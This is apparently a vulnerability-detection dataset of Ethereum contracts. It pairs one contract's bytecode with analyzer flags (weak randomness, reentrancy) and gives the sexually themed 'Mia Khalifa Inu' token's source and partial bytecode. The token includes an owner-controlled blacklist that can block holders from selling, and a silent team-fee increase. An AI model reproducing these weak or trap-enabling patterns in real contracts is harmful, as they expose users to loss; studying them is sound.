68617320616c7265616479206a6f696e656420612070696c6c6160448201527f72207468697320726f756e640000000000000000000000000000000000000000606482015290519081900360840190fd5b6009548214610b40576040805160e560020a62461bcd028152602060048201526024808201527f726f756e642068617320656e6465642c207761697420666f72206e657874207260448201527f6f756e6400000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b50336000908152600c6020526040902054801515610bf057600b54610b6c90600163ffffffff6112c116565b600b818155336000818152600c60209081526040808320869055948252600e815290849020805473ffffffffffffffffffffffffffffffffffffffff19168317905591548351918252918101829052428184015291519092507fc9b3932fab18f6ac6d50cac9682ed0c164ce31d2505f3571323a0cf5902dd68c9181900360600190a15b61056b81858561131c565b336000908152600c602052604081205490811515610c89576040805160e560020a62461bcd02815260206004820152602b60248201527f706c6179657220646f65736e277420657869737420696e2067616d652c20646f60448201527f6e27742064697374757262000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600e602052604081206001015411610cf0576040805160e560020a62461bcd02815260206004820152601c60248201527f7468657265206973206e6f7468696e6720746f20776974686472617700000000604482015290519081900360640190fd5b506000818152600e602052604080822060010180549083905590519091339183156108fc0291849190818181858888f19350505050158015610d36573d6000803e3d6000fd5b50604080513381526020810184905280820183905242606082015290517f650fdf669e93aa6c8ff3defe2da9c12b64f1548e5e1e54e803f4c1beb6466c8e9181900360800190a15050565b600054600160a060020a03163314610d9857600080fd5b600555565b600054600160a060020a03163314610db457600080fd5b81610dc682600263ffffffff61170f16565b1115610e42576040805160e560020a62461bcd02815260206004820152602f60248201527f6d696e20706f7765722063616e6e6f74206265206d6f7265207468616e20686160448201527f6c66206f66206d617820706f7765720000000000000000000000000000000000606482015290519081900360840190fd5b600392909255600855600755565b60035481565b600054600160a060020a03163314610e6d57600080fd5b600160a060020a0381161515610e8257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045460009060ff1615610f0f576040805160e560020a62461bcd02815260206004820152600e60248201527f67616d6520697320706175736564000000000000000000000000000000000000604482015290519081900360640190fd5b60008360ff1610158015610f27575060028360ff1611155b1515610f7d576040805160e560020a62461bcd02815260206004820152601c60248201527f7468657265206973206e6f20737563682070696c6c6172206865726500000000604482015290519081900360640190fd5b600254604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018790529051600160a060020a0390921691636352211e916024808201926020929091908290030181600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d602081101561100e57600080fd5b5051600160a060020a0316331461106f576040805160e560020a62461bcd02815260206004820152601960248201527f73656e646572206e6f74206f776e6572206f66206b6974747900000000000000604482015290519081900360640190fd5b50336000908152600c60205260409020548015156110d7576040805160e560020a62461bcd02815260206004820152601660248201527f6e6f7420616e206578697374696e6720706c6179657200000000000000000000604482015290519081900360640190fd5b6005546000828152600e60205260409020600101541015611168576040805160e560020a62461bcd02815260206004820152602960248201527f696e73756666696369656e7420746f6b656e7320696e20706f75636820666f7260448201527f206a6f696e206665650000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000848152601060209081526040808320600954845290915290206001015415611202576040805160e560020a62461bcd02815260206004820152602c60248201527f6b697474792068617320616c7265616479206a6f696e656420612070696c6c6160448201527f72207468697320726f756e640000000000000000000000000000000000000000606482015290519081900360840190fd5b6009548214611280576040805160e560020a62461bcd028152602060048201526024808201527f726f756e642068617320656e6465642c207761697420666f72206e657874207260448201527f6f756e6400000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6005546000828152600e60205260409020600101546112a49163ffffffff61178616565b6000828152600e602052604090206001015561056b81858561131c565b8181018281101561075f576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000838152600f60209081526040808320600980548552908352818420805460018082018355918652848620018790556007549154808652600a85528386209091015460ff87168652600d8552838620918652935290832054909291829182918291600290910411156113f957600093505b60038460ff1610156113f95760ff848116908716146113ee576009546000818152600a602090815260408083206001015460ff89168452600d8352818420948452939091529020546002909104116113ee576008546002900494506113f9565b60019093019261138e565b600254604080517fe98b7f4d000000000000000000000000000000000000000000000000000000008152600481018a90529051600160a060020a039092169163e98b7f4d91602480820192610140929091908290030181600087803b15801561146157600080fd5b505af1158015611475573d6000803e3d6000fd5b505050506040513d61014081101561148c57600080fd5b50610120015160085490935085906114a3856117e6565b8115156114ac57fe5b0601915042905085601060008981526020019081526020016000206000600954815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055508160106000898152602001908152602001600020600060095481526020019081526020016000206001018190555087601060008981526020019081526020016000206000600954815260200190815260200160002060020181905550806010600089815260200190815260200160002060006009548152602001908152602001600020600301819055506115c182600d60008960ff1660ff16815260200190815260200160002060006009548152602001908152602001600020600001546112c190919063ffffffff16565b60ff87166000908152600d60209081526040808320600980548552908352818420949094559254825291812060019081018054918201815582529190200187905561162a61161b60046064345b049063ffffffff61170f16565b6006549063ffffffff6112c116565b60065561165b61163d606060643461160e565b6009546000908152600a60205260409020549063ffffffff6112c116565b600980546000908152600a602090815260409182902093909355905481513381529283018a905260ff89168383015260608301859052608083015260a08201839052517fe801de7c6b464752d7db0d7f9828b9c57ba8f871b13b826f9daa846935b45c869181900360c00190a16009546000818152600a602090815260408083206001015460ff8b168452600d835281842094845293909152902054106117055761170586611895565b5050505050505050565b60008215156117205750600061075f565b5081810281838281151561173057fe5b041461075f576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000828211156117e0576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b604080516020808201849052436000198101408385015260011981014060608401526003198101406080840152600619014060a0808401919091528351808403909101815260c0909201928390528151600093918291908401908083835b602083106118635780518252601f199092019160209182019101611844565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050565b60ff81166000908152600d60209081526040808320600954845290915281206001015490808080808080600288049650878760020210156118e4576118e187600163ffffffff6112c116565b96505b6009546000908152600a6020526040902054889081151561190157fe5b049550611932600a61191a88600263ffffffff61170f16565b81151561192357fe5b8891900463ffffffff6112c116565b9450868803611947888763ffffffff61170f16565b6009546000908152600a60205260409020540381151561196357fe5b04935060009250600091505b87821015611abf5760ff89166000908152600d60209081526040808320600954845290915290206001018054839081106119a557fe5b9060005260206000200154905086821015611a3957600081815260106020908152604080832060095484528252808320600201548352600e9091529020600101546119f6908663ffffffff6112c116565b600082815260106020908152604080832060095484528252808320600201548352600e909152902060010155611a32838663ffffffff6112c116565b9250611ab4565b600081815260106020908152604080832060095484528252808320600201548352600e909152902060010154611a75908563ffffffff6112c116565b600082815260106020908152604080832060095484528252808320600201548352600e909152902060010155611ab1838563ffffffff6112c116565b92505b60019091019061196f565b600980546000908152600a60209081526040808320600201805460ff8f1660ff1991821681179092558554855282852042600491820155865486528386206005018054909216600117909155945480855293829020909401548151938452918301939093528183015290517fc5285db7d8a9c3a0ce0e8982ff9a84fe8df355101d9545735558c69efb4aad579181900360600190a1600954611b6890600163ffffffff6112c116565b60098181556000918252600a60205260408083208390556003805483548552828520600101558254845281842042910155905482529020600501805460ff191690555050505050505050505600a165627a7a72305820232e5a88c583b84750d69597b72de470b7acc8cd5ab5a0fa682f4a21de7957490029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,088 |
0x066F378853522573D865C58AC90f014F8b3537fC
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/*
Mia Khalifa Inu (MIA🧕🏽🐕)
TG: https://t.me/MiaKhalifaInu
Welcome to the HOTTEST new DeFi protocol.
MOMMY MIA!
- Total supply of 10 Trillion
- Initial burn, thank you mommy
- Full liquidity, just the way she likes it
- Cooldown, take it slow with MIA
- 5% reflection to holders, hold on tight!
- Anti-bots, real holders only
- Fair launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MIA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mia Khalifa Inu";
string private constant _symbol = 'MIA\xf0\x9f\xa7\x95\xf0\x9f\x8f\xbd\xF0\x9F\x90\x95';
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ecf565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f2565b61045e565b6040516101789190612eb4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613071565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a3565b61048d565b6040516101e09190612eb4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612915565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130e6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a6f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612915565b610783565b6040516102b19190613071565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612de6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ecf565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f2565b61098d565b60405161035b9190612eb4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a2e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac1565b6110c2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612967565b61120b565b6040516104189190613071565b60405180910390f35b60606040518060400160405280600f81526020017f4d6961204b68616c69666120496e750000000000000000000000000000000000815250905090565b600061047261046b611292565b848461129a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611465565b61055b846104a6611292565b610556856040518060600160405280602881526020016137aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611292565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c249092919063ffffffff16565b61129a565b600190509392505050565b61056e611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fb1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fb1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611292565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c88565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d83565b9050919050565b6107dc611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f4d4941f09fa795f09f8fbdf09f90950000000000000000000000000000000000815250905090565b60006109a161099a611292565b8484611465565b6001905092915050565b6109b3611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fb1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613387565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611292565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611df1565b50565b610b7d611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fb1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613031565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061293e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061293e565b6040518363ffffffff1660e01b8152600401610e1f929190612e01565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061293e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e53565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612aea565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106c929190612e2a565b602060405180830381600087803b15801561108657600080fd5b505af115801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be9190612a98565b5050565b6110ca611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e90612fb1565b60405180910390fd5b6000811161119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612f71565b60405180910390fd5b6111c960646111bb83683635c9adc5dea000006120eb90919063ffffffff16565b61216690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112009190613071565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612f31565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114589190613071565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612ef1565b60405180910390fd5b60008111611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f90612fd1565b60405180910390fd5b611590610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fe57506115ce610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6157600f60179054906101000a900460ff1615611831573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffffffff